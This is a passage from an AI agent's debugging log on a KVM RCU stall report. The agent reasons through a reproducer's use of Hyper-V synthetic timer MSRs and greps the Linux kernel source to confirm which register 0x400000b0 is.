thoughts: 488
Thoughts: **RCU Stall Investigation**
Okay, here's what's running through my mind as I look at this RCU stall report. We have this output: "rcu: INFO: rcu_preempt detected stalls on CPUs/tasks". It points to `udevd`, PID 5198, being blocked on CPUs 0-1. The stall was detected by CPU 0.
The reproducer for this stall is setting up a KVM virtual machine. It creates an IRQCHIP, a VCPU, and enables KVM_CAP_HYPERV_SYNIC2. Interesting. And then there's this MSR setup β `0x400000b0` and `0x400000b1` are being set. The reproducer also sets the scheduler policy to SCHED_FIFO with a priority of 7. It looks like it's done with `sched_setscheduler`. Then, finally, it runs KVM_RUN.
Aha! Now it's clicking. If the VCPU enters an infinite loop *without* yielding and it's a SCHED_FIFO task, that's almost guaranteed to trigger an RCU stall. FIFO tasks, at high priority, can starve the rest of the system. We have to look into why this infinite loop might be occurring.
Let's quickly check what those MSRs are actually setting. `0x400000b0`... I *think* that's `HV_X64_MSR_SCONTROL`, but I'd better be sure. Let's do a quick grep. Just to verify. A quick search of the codebase for `0x400000b0` or `HV_X64_MSR_` should give me the correct definition.
|
| 7/2 |
2026/05/19 01:21 |
tool |
grepper |
0m
Args: map[Expression:0x400000b0]
Results: map[Output:arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi=418= pinctrl_digital_output: digital-outputgrp {
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-419- fsl,pins = <
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:420: MX6UL_PAD_LCD_DATA15__GPIO3_IO20 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:421: MX6UL_PAD_LCD_DATA16__GPIO3_IO21 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:422: MX6UL_PAD_LCD_DATA17__GPIO3_IO22 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:423: MX6UL_PAD_LCD_DATA18__GPIO3_IO23 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:424: MX6UL_PAD_LCD_DATA19__GPIO3_IO24 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:425: MX6UL_PAD_LCD_DATA20__GPIO3_IO25 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-426- >;
--
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi=487= pinctrl_fan_enable: fan-enablegrp {
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-488- fsl,pins = <
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:489: MX6UL_PAD_LCD_DATA00__GPIO3_IO05 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-490- >;
--
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi=493= pinctrl_gpio_motor: gpio-motorgrp {
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-494- fsl,pins = <
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:495: MX6UL_PAD_LCD_DATA02__GPIO3_IO07 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:496: MX6UL_PAD_LCD_DATA03__GPIO3_IO08 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:497: MX6UL_PAD_LCD_DATA04__GPIO3_IO09 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-498- MX6UL_PAD_UART1_RTS_B__GPIO1_IO19 0xb0
--
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi=503= pinctrl_hog_pins: hog-pinsgrp {
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-504- fsl,pins = <
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:505: MX6UL_PAD_LCD_DATA07__GPIO3_IO12 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:506: MX6UL_PAD_LCD_DATA08__GPIO3_IO13 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-507- MX6UL_PAD_JTAG_TDI__GPIO1_IO13 0x400070a0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:508: MX6UL_PAD_LCD_DATA05__GPIO3_IO10 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:509: MX6UL_PAD_LCD_DATA06__GPIO3_IO11 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-510- >;
--
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi=552= pinctrl_qca700x_cp_btld: qca700x-cp-btldgrp {
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-553- fsl,pins = <
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:554: MX6UL_PAD_LCD_DATA13__GPIO3_IO18 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-555- >;
--
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi=564= pinctrl_qca700x_cp_rst: qca700x-cp-rstgrp {
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-565- fsl,pins = <
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:566: MX6UL_PAD_LCD_DATA12__GPIO3_IO17 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-567- >;
--
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi=570= pinctrl_qca700x_mains_btld: qca700x-mains-btldgrp {
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-571- fsl,pins = <
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:572: MX6UL_PAD_LCD_DATA11__GPIO3_IO16 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-573- >;
]
|
| 8/2 |
2026/05/19 01:21 |
llm |
expert |
0m
Model:
Tokens:
input: 13379
output: 25
thoughts: 51
Thoughts: Here's my take on those thoughts:
**Dissecting Hyper-V's MSR Landscape**
Okay, so I'm looking at `0x400000b0`. Ah yes, that's clearly the `HV_X64_MSR_SCONTROL` MSR (Model Specific Register) for Hyper-V. Time to refresh my memory on the specifics of this one. I know I've got the Hyper-V definitions for x86 architecture squirreled away somewhere. Let me immediately check the familiar territory of `arch/x86/include/asm/hyperv-tlfs.h`. That's where I'll find the detailed structure definition and related flags. Hopefully, it's all clearly documented in there. Time to dig in and remind myself exactly how this Secure Control MSR is meant to be used and what the nuances of its bits and fields are. Always a good idea to double-check these things when dealing with low-level details.
|
| 9/2 |
2026/05/19 01:21 |
tool |
grepper |
0m
Args: map[Expression:HV_X64_MSR_SCONTROL]
Results: map[Output:arch/x86/include/asm/mshyperv.h=220=static inline bool hv_is_synic_msr(unsigned int reg)
arch/x86/include/asm/mshyperv.h-221-{
arch/x86/include/asm/mshyperv.h:222: return (reg >= HV_X64_MSR_SCONTROL) &&
arch/x86/include/asm/mshyperv.h-223- (reg <= HV_X64_MSR_SINT15);
--
arch/x86/kernel/cpu/mshyperv.c=48=static inline unsigned int hv_get_nested_msr(unsigned int reg)
--
arch/x86/kernel/cpu/mshyperv.c-59- return HV_X64_MSR_NESTED_SVERSION;
arch/x86/kernel/cpu/mshyperv.c:60: case HV_X64_MSR_SCONTROL:
arch/x86/kernel/cpu/mshyperv.c-61- return HV_X64_MSR_NESTED_SCONTROL;
--
arch/x86/kvm/hyperv.c=259=static int synic_set_msr(struct kvm_vcpu_hv_synic *synic,
--
arch/x86/kvm/hyperv.c-271- switch (msr) {
arch/x86/kvm/hyperv.c:272: case HV_X64_MSR_SCONTROL:
arch/x86/kvm/hyperv.c-273- synic->control = data;
--
arch/x86/kvm/hyperv.c=437=static int synic_get_msr(struct kvm_vcpu_hv_synic *synic, u32 msr, u64 *pdata,
--
arch/x86/kvm/hyperv.c-446- switch (msr) {
arch/x86/kvm/hyperv.c:447: case HV_X64_MSR_SCONTROL:
arch/x86/kvm/hyperv.c-448- *pdata = synic->control;
--
arch/x86/kvm/hyperv.c=1250=static bool hv_check_msr_access(struct kvm_vcpu_hv *hv_vcpu, u32 msr)
--
arch/x86/kvm/hyperv.c-1274- HV_MSR_REFERENCE_TSC_AVAILABLE;
arch/x86/kvm/hyperv.c:1275: case HV_X64_MSR_SCONTROL:
arch/x86/kvm/hyperv.c-1276- case HV_X64_MSR_SVERSION:
--
arch/x86/kvm/hyperv.c=1519=static int kvm_hv_set_msr(struct kvm_vcpu *vcpu, u32 msr, u64 data, bool host)
--
arch/x86/kvm/hyperv.c-1591- break;
arch/x86/kvm/hyperv.c:1592: case HV_X64_MSR_SCONTROL:
arch/x86/kvm/hyperv.c-1593- case HV_X64_MSR_SVERSION:
--
arch/x86/kvm/hyperv.c=1687=static int kvm_hv_get_msr(struct kvm_vcpu *vcpu, u32 msr, u64 *pdata,
--
arch/x86/kvm/hyperv.c-1711- break;
arch/x86/kvm/hyperv.c:1712: case HV_X64_MSR_SCONTROL:
arch/x86/kvm/hyperv.c-1713- case HV_X64_MSR_SVERSION:
--
arch/x86/kvm/x86.c=386=static const u32 emulated_msrs_all[] = {
--
arch/x86/kvm/x86.c-398- HV_X64_MSR_VP_RUNTIME,
arch/x86/kvm/x86.c:399: HV_X64_MSR_SCONTROL,
arch/x86/kvm/x86.c-400- HV_X64_MSR_STIMER0_CONFIG,
--
include/hyperv/hvgdk_mini.h=11=struct hv_u128 {
--
include/hyperv/hvgdk_mini.h-79-/* Define synthetic interrupt controller model specific registers. */
include/hyperv/hvgdk_mini.h:80:#define HV_X64_MSR_SCONTROL 0x40000080
include/hyperv/hvgdk_mini.h-81-#define HV_X64_MSR_SVERSION 0x40000081
--
include/hyperv/hvgdk_mini.h=966=enum hv_register_name {
--
include/hyperv/hvgdk_mini.h-1145-#define HV_MSR_SVERSION (HV_X64_MSR_SVERSION)
include/hyperv/hvgdk_mini.h:1146:#define HV_MSR_SCONTROL (HV_X64_MSR_SCONTROL)
include/hyperv/hvgdk_mini.h-1147-#define HV_MSR_SIEFP (HV_X64_MSR_SIEFP)
--
tools/testing/selftests/kvm/include/x86/hyperv.h-35-#define HV_X64_MSR_VP_ASSIST_PAGE 0x40000073
tools/testing/selftests/kvm/include/x86/hyperv.h:36:#define HV_X64_MSR_SCONTROL 0x40000080
tools/testing/selftests/kvm/include/x86/hyperv.h-37-#define HV_X64_MSR_SVERSION 0x40000081
]
|
| 10/2 |
2026/05/19 01:21 |
llm |
expert |
0m
Model:
Tokens:
input: 15299
output: 24
thoughts: 71
Thoughts: **Decoding This Register Address**
Okay, hold on a second. I'm looking at this register address, `0x400000b0`, and something's not quite right. My internal MSR knowledge is telling me that `HV_X64_MSR_SCONTROL` is definitely at `0x40000080`. I'm absolutely certain of that. So, if `0x400000b0` isn't `HV_X64_MSR_SCONTROL`, then what *is* it? I need to figure out what this unknown register is; I can't proceed any further until I understand what register is at that address. It's time to dig into my documentation and see what other MSRs are defined around that address range.
|
| 11/2 |
2026/05/19 01:21 |
tool |
grepper |
0m
Args: map[Expression:0x400000b0]
Results: map[Output:arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi=418= pinctrl_digital_output: digital-outputgrp {
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-419- fsl,pins = <
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:420: MX6UL_PAD_LCD_DATA15__GPIO3_IO20 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:421: MX6UL_PAD_LCD_DATA16__GPIO3_IO21 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:422: MX6UL_PAD_LCD_DATA17__GPIO3_IO22 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:423: MX6UL_PAD_LCD_DATA18__GPIO3_IO23 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:424: MX6UL_PAD_LCD_DATA19__GPIO3_IO24 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:425: MX6UL_PAD_LCD_DATA20__GPIO3_IO25 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-426- >;
--
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi=487= pinctrl_fan_enable: fan-enablegrp {
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-488- fsl,pins = <
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:489: MX6UL_PAD_LCD_DATA00__GPIO3_IO05 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-490- >;
--
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi=493= pinctrl_gpio_motor: gpio-motorgrp {
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-494- fsl,pins = <
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:495: MX6UL_PAD_LCD_DATA02__GPIO3_IO07 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:496: MX6UL_PAD_LCD_DATA03__GPIO3_IO08 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:497: MX6UL_PAD_LCD_DATA04__GPIO3_IO09 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-498- MX6UL_PAD_UART1_RTS_B__GPIO1_IO19 0xb0
--
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi=503= pinctrl_hog_pins: hog-pinsgrp {
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-504- fsl,pins = <
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:505: MX6UL_PAD_LCD_DATA07__GPIO3_IO12 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:506: MX6UL_PAD_LCD_DATA08__GPIO3_IO13 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-507- MX6UL_PAD_JTAG_TDI__GPIO1_IO13 0x400070a0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:508: MX6UL_PAD_LCD_DATA05__GPIO3_IO10 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:509: MX6UL_PAD_LCD_DATA06__GPIO3_IO11 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-510- >;
--
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi=552= pinctrl_qca700x_cp_btld: qca700x-cp-btldgrp {
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-553- fsl,pins = <
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:554: MX6UL_PAD_LCD_DATA13__GPIO3_IO18 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-555- >;
--
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi=564= pinctrl_qca700x_cp_rst: qca700x-cp-rstgrp {
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-565- fsl,pins = <
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:566: MX6UL_PAD_LCD_DATA12__GPIO3_IO17 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-567- >;
--
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi=570= pinctrl_qca700x_mains_btld: qca700x-mains-btldgrp {
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-571- fsl,pins = <
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi:572: MX6UL_PAD_LCD_DATA11__GPIO3_IO16 0x400000b0
arch/arm/boot/dts/nxp/imx/imx6ull-tarragon-common.dtsi-573- >;
]
|
| 12/2 |
2026/05/19 01:21 |
llm |
expert |
0m
Model:
Tokens:
input: 17694
output: 26
thoughts: 49
Thoughts: Okay, here's my interpretation of those thoughts, crafted with the expectation that I'm discussing this with a fellow expert:
**Decoding Hypervisor MSRs**
Right, that memory address, `0x400000b0`, that's got to be `HV_X64_MSR_SINT0`. Time to confirm that's exactly what it is and see what's written there. Let's delve into the data associated with `HV_X64_MSR_SINT0` and figure out what it's telling us.
|
| 13/2 |
2026/05/19 01:21 |
tool |
grepper |
0m
Args: map[Expression:HV_X64_MSR_SINT0]
Results: map[Output:arch/x86/include/asm/mshyperv.h=226=static inline bool hv_is_sint_msr(unsigned int reg)
arch/x86/include/asm/mshyperv.h-227-{
arch/x86/include/asm/mshyperv.h:228: return (reg >= HV_X64_MSR_SINT0) &&
arch/x86/include/asm/mshyperv.h-229- (reg <= HV_X64_MSR_SINT15);
--
arch/x86/kernel/cpu/mshyperv.c=48=static inline unsigned int hv_get_nested_msr(unsigned int reg)
--
arch/x86/kernel/cpu/mshyperv.c-50- if (hv_is_sint_msr(reg))
arch/x86/kernel/cpu/mshyperv.c:51: return reg - HV_X64_MSR_SINT0 + HV_X64_MSR_NESTED_SINT0;
arch/x86/kernel/cpu/mshyperv.c-52-
--
arch/x86/kvm/hyperv.c=259=static int synic_set_msr(struct kvm_vcpu_hv_synic *synic,
--
arch/x86/kvm/hyperv.c-317- }
arch/x86/kvm/hyperv.c:318: case HV_X64_MSR_SINT0 ... HV_X64_MSR_SINT15:
arch/x86/kvm/hyperv.c:319: ret = synic_set_sint(synic, msr - HV_X64_MSR_SINT0, data, host);
arch/x86/kvm/hyperv.c-320- break;
--
arch/x86/kvm/hyperv.c=437=static int synic_get_msr(struct kvm_vcpu_hv_synic *synic, u32 msr, u64 *pdata,
--
arch/x86/kvm/hyperv.c-461- break;
arch/x86/kvm/hyperv.c:462: case HV_X64_MSR_SINT0 ... HV_X64_MSR_SINT15:
arch/x86/kvm/hyperv.c:463: *pdata = atomic64_read(&synic->sint[msr - HV_X64_MSR_SINT0]);
arch/x86/kvm/hyperv.c-464- break;
--
arch/x86/kvm/hyperv.c=1250=static bool hv_check_msr_access(struct kvm_vcpu_hv *hv_vcpu, u32 msr)
--
arch/x86/kvm/hyperv.c-1279- case HV_X64_MSR_EOM:
arch/x86/kvm/hyperv.c:1280: case HV_X64_MSR_SINT0 ... HV_X64_MSR_SINT15:
arch/x86/kvm/hyperv.c-1281- return hv_vcpu->cpuid_cache.features_eax &
--
arch/x86/kvm/hyperv.c=1519=static int kvm_hv_set_msr(struct kvm_vcpu *vcpu, u32 msr, u64 data, bool host)
--
arch/x86/kvm/hyperv.c-1596- case HV_X64_MSR_EOM:
arch/x86/kvm/hyperv.c:1597: case HV_X64_MSR_SINT0 ... HV_X64_MSR_SINT15:
arch/x86/kvm/hyperv.c-1598- return synic_set_msr(to_hv_synic(vcpu), msr, data, host);
--
arch/x86/kvm/hyperv.c=1687=static int kvm_hv_get_msr(struct kvm_vcpu *vcpu, u32 msr, u64 *pdata,
--
arch/x86/kvm/hyperv.c-1716- case HV_X64_MSR_EOM:
arch/x86/kvm/hyperv.c:1717: case HV_X64_MSR_SINT0 ... HV_X64_MSR_SINT15:
arch/x86/kvm/hyperv.c-1718- return synic_get_msr(to_hv_synic(vcpu), msr, pdata, host);
--
include/hyperv/hvgdk_mini.h=11=struct hv_u128 {
--
include/hyperv/hvgdk_mini.h-85-#define HV_X64_MSR_SIRBP 0x40000085
include/hyperv/hvgdk_mini.h:86:#define HV_X64_MSR_SINT0 0x40000090
include/hyperv/hvgdk_mini.h-87-#define HV_X64_MSR_SINT1 0x40000091
--
include/hyperv/hvgdk_mini.h=966=enum hv_register_name {
--
include/hyperv/hvgdk_mini.h-1143-
include/hyperv/hvgdk_mini.h:1144:#define HV_MSR_SINT0 (HV_X64_MSR_SINT0)
include/hyperv/hvgdk_mini.h-1145-#define HV_MSR_SVERSION (HV_X64_MSR_SVERSION)
--
tools/testing/selftests/kvm/include/x86/hyperv.h-40-#define HV_X64_MSR_EOM 0x40000084
tools/testing/selftests/kvm/include/x86/hyperv.h:41:#define HV_X64_MSR_SINT0 0x40000090
tools/testing/selftests/kvm/include/x86/hyperv.h-42-#define HV_X64_MSR_SINT1 0x40000091
]
|
| 14/2 |
2026/05/19 01:21 |
llm |
expert |
0m
Model:
Tokens:
input: 19589
output: 29
thoughts: 53
Thoughts: **Decoding the Hypervisor Timer**
Okay, so `0x400000b0`... that rings a bell. Ah, yes! That's `HV_X64_MSR_STIMER0_CONFIG`. Right, right. Now, let's just make absolutely certain of this, let's go back and examine `HV_X64_MSR_STIMER0_CONFIG` itself. Need to refresh my memory on its structure and fields. Gotta double-check that I'm interpreting this correctly before I start making assumptions. There could be subtle implications here, or it could be simpler than I recall, but the configuration itself will tell the tale.
|
| 15/2 |
2026/05/19 01:21 |
tool |
grepper |
0m
Args: map[Expression:HV_X64_MSR_STIMER0_CONFIG]
Results: map[Output:arch/x86/kvm/hyperv.c=1250=static bool hv_check_msr_access(struct kvm_vcpu_hv *hv_vcpu, u32 msr)
--
arch/x86/kvm/hyperv.c-1282- HV_MSR_SYNIC_AVAILABLE;
arch/x86/kvm/hyperv.c:1283: case HV_X64_MSR_STIMER0_CONFIG:
arch/x86/kvm/hyperv.c-1284- case HV_X64_MSR_STIMER1_CONFIG:
--
arch/x86/kvm/hyperv.c=1519=static int kvm_hv_set_msr(struct kvm_vcpu *vcpu, u32 msr, u64 data, bool host)
--
arch/x86/kvm/hyperv.c-1598- return synic_set_msr(to_hv_synic(vcpu), msr, data, host);
arch/x86/kvm/hyperv.c:1599: case HV_X64_MSR_STIMER0_CONFIG:
arch/x86/kvm/hyperv.c-1600- case HV_X64_MSR_STIMER1_CONFIG:
--
arch/x86/kvm/hyperv.c-1602- case HV_X64_MSR_STIMER3_CONFIG: {
arch/x86/kvm/hyperv.c:1603: int timer_index = (msr - HV_X64_MSR_STIMER0_CONFIG)/2;
arch/x86/kvm/hyperv.c-1604-
--
arch/x86/kvm/hyperv.c=1687=static int kvm_hv_get_msr(struct kvm_vcpu *vcpu, u32 msr, u64 *pdata,
--
arch/x86/kvm/hyperv.c-1718- return synic_get_msr(to_hv_synic(vcpu), msr, pdata, host);
arch/x86/kvm/hyperv.c:1719: case HV_X64_MSR_STIMER0_CONFIG:
arch/x86/kvm/hyperv.c-1720- case HV_X64_MSR_STIMER1_CONFIG:
--
arch/x86/kvm/hyperv.c-1722- case HV_X64_MSR_STIMER3_CONFIG: {
arch/x86/kvm/hyperv.c:1723: int timer_index = (msr - HV_X64_MSR_STIMER0_CONFIG)/2;
arch/x86/kvm/hyperv.c-1724-
--
arch/x86/kvm/x86.c=386=static const u32 emulated_msrs_all[] = {
--
arch/x86/kvm/x86.c-399- HV_X64_MSR_SCONTROL,
arch/x86/kvm/x86.c:400: HV_X64_MSR_STIMER0_CONFIG,
arch/x86/kvm/x86.c-401- HV_X64_MSR_VP_ASSIST_PAGE,
--
arch/x86/kvm/x86.c=3891=int kvm_set_msr_common(struct kvm_vcpu *vcpu, struct msr_data *msr_info)
--
arch/x86/kvm/x86.c-4218- case HV_X64_MSR_CRASH_CTL:
arch/x86/kvm/x86.c:4219: case HV_X64_MSR_STIMER0_CONFIG ... HV_X64_MSR_STIMER3_COUNT:
arch/x86/kvm/x86.c-4220- case HV_X64_MSR_REENLIGHTENMENT_CONTROL:
--
arch/x86/kvm/x86.c=4341=int kvm_get_msr_common(struct kvm_vcpu *vcpu, struct msr_data *msr_info)
--
arch/x86/kvm/x86.c-4569- case HV_X64_MSR_CRASH_CTL:
arch/x86/kvm/x86.c:4570: case HV_X64_MSR_STIMER0_CONFIG ... HV_X64_MSR_STIMER3_COUNT:
arch/x86/kvm/x86.c-4571- case HV_X64_MSR_REENLIGHTENMENT_CONTROL:
--
include/hyperv/hvgdk_mini.h=11=struct hv_u128 {
--
include/hyperv/hvgdk_mini.h-113- */
include/hyperv/hvgdk_mini.h:114:#define HV_X64_MSR_STIMER0_CONFIG 0x400000B0
include/hyperv/hvgdk_mini.h-115-#define HV_X64_MSR_STIMER0_COUNT 0x400000B1
--
include/hyperv/hvgdk_mini.h=966=enum hv_register_name {
--
include/hyperv/hvgdk_mini.h-1158-
include/hyperv/hvgdk_mini.h:1159:#define HV_MSR_STIMER0_CONFIG (HV_X64_MSR_STIMER0_CONFIG)
include/hyperv/hvgdk_mini.h-1160-#define HV_MSR_STIMER0_COUNT (HV_X64_MSR_STIMER0_COUNT)
--
include/hyperv/hvhdk.h=248=union hv_partition_synthetic_processor_features {
--
include/hyperv/hvhdk.h-258- /*
include/hyperv/hvhdk.h:259: * Access to HV_X64_MSR_STIMER0_CONFIG through
include/hyperv/hvhdk.h-260- * HV_X64_MSR_STIMER3_COUNT.
--
tools/testing/selftests/kvm/include/x86/hyperv.h-56-#define HV_X64_MSR_SINT15 0x4000009F
tools/testing/selftests/kvm/include/x86/hyperv.h:57:#define HV_X64_MSR_STIMER0_CONFIG 0x400000B0
tools/testing/selftests/kvm/include/x86/hyperv.h-58-#define HV_X64_MSR_STIMER0_COUNT 0x400000B1
--
tools/testing/selftests/kvm/x86/hyperv_features.c=130=static void guest_test_msrs_access(void)
--
tools/testing/selftests/kvm/x86/hyperv_features.c-325- case 24:
tools/testing/selftests/kvm/x86/hyperv_features.c:326: msr->idx = HV_X64_MSR_STIMER0_CONFIG;
tools/testing/selftests/kvm/x86/hyperv_features.c-327- msr->write = false;
--
tools/testing/selftests/kvm/x86/hyperv_features.c-331- vcpu_set_cpuid_feature(vcpu, HV_MSR_SYNTIMER_AVAILABLE);
tools/testing/selftests/kvm/x86/hyperv_features.c:332: msr->idx = HV_X64_MSR_STIMER0_CONFIG;
tools/testing/selftests/kvm/x86/hyperv_features.c-333- msr->write = false;
--
tools/testing/selftests/kvm/x86/hyperv_features.c-336- case 26:
tools/testing/selftests/kvm/x86/hyperv_features.c:337: msr->idx = HV_X64_MSR_STIMER0_CONFIG;
tools/testing/selftests/kvm/x86/hyperv_features.c-338- msr->write = true;
--
tools/testing/selftests/kvm/x86/hyperv_features.c-343- /* Direct mode test */
tools/testing/selftests/kvm/x86/hyperv_features.c:344: msr->idx = HV_X64_MSR_STIMER0_CONFIG;
tools/testing/selftests/kvm/x86/hyperv_features.c-345- msr->write = true;
--
tools/testing/selftests/kvm/x86/hyperv_features.c-350- vcpu_set_cpuid_feature(vcpu, HV_STIMER_DIRECT_MODE_AVAILABLE);
tools/testing/selftests/kvm/x86/hyperv_features.c:351: msr->idx = HV_X64_MSR_STIMER0_CONFIG;
tools/testing/selftests/kvm/x86/hyperv_features.c-352- msr->write = true;
]
|
| 16/2 |
2026/05/19 01:21 |
llm |
expert |
0m
Model:
Tokens:
input: 22337
output: 21
thoughts: 148
Thoughts: **Analyzing Hyper-V STIMER0 Configuration**
Alright, let's break this down. First, I see we're dealing with Hyper-V MSRs (Model Specific Registers). `0x400000b0` immediately jumps out as `HV_X64_MSR_STIMER0_CONFIG`, and `0x400000b1` is clearly `HV_X64_MSR_STIMER0_COUNT`. So far, so good β standard Hyper-V stuff.
Now, the interesting bit: the reproducer is setting `STIMER0_CONFIG` to `5` and `STIMER0_COUNT` to `0xffffffffffff0001`. The count value is a pretty standard initialization. Now I need to remember what exactly configuration value `5` means for `HV_X64_MSR_STIMER0_CONFIG`. Time to consult the documentation and check the bitfield details, let's see which features are being enabled here.
|
| 17/2 |
2026/05/19 01:21 |
tool |
grepper |
0m
Args: map[Expression:HV_STIMER_ENABLE]
Results: map[Output:arch/x86/kvm/hyperv.c=617=static enum hrtimer_restart stimer_timer_callback(struct hrtimer *timer)
--
arch/x86/kvm/hyperv.c-631- * a) stimer->count is not equal to 0
arch/x86/kvm/hyperv.c:632: * b) stimer->config has HV_STIMER_ENABLE flag
arch/x86/kvm/hyperv.c-633- */
]
|
| 18/2 |
2026/05/19 01:21 |
llm |
expert |
0m
Model:
Tokens:
input: 22873
output: 21
thoughts: 18
Thoughts: Okay, here's my interpretation of that thought process, tailored for an expert audience:
**Analyzing the Macro Definition**
Alright, the train of thought stalled briefly there. I encountered `HV_STIMER_ENABLE` in the context and my brain immediately flagged it. Before I can continue with the broader analysis β likely the register definitions or usage of the feature in the code β I need to ground myself in what this specific macro actually *means*. I'm accustomed to working with these types of embedded systems, so I need the quick context check to see if this definition is an enable bit for a specific timer. I probably assumed it, but now I need to confirm, so I will check the definitions. From there, I can determine the intention and implications of its use within the larger code scope. It's a fundamental step to ensure there's no misunderstanding of the overall system logic.
|
| 19/2 |
2026/05/19 01:21 |
tool |
grepper |
0m
Args: map[Expression:HV_STIMER_ENABLE]
Results: map[Output:arch/x86/kvm/hyperv.c=617=static enum hrtimer_restart stimer_timer_callback(struct hrtimer *timer)
--
arch/x86/kvm/hyperv.c-631- * a) stimer->count is not equal to 0
arch/x86/kvm/hyperv.c:632: * b) stimer->config has HV_STIMER_ENABLE flag
arch/x86/kvm/hyperv.c-633- */
]
|
| 20/2 |
2026/05/19 01:21 |
llm |
expert |
0m
Model:
Tokens:
input: 23239
output: 23
thoughts: 29
Thoughts: Okay, here's my interpretation of that thought process, assuming I'm an expert in this field, and rendered in the first person:
**Navigating the Hyper-V Timer Landscape**
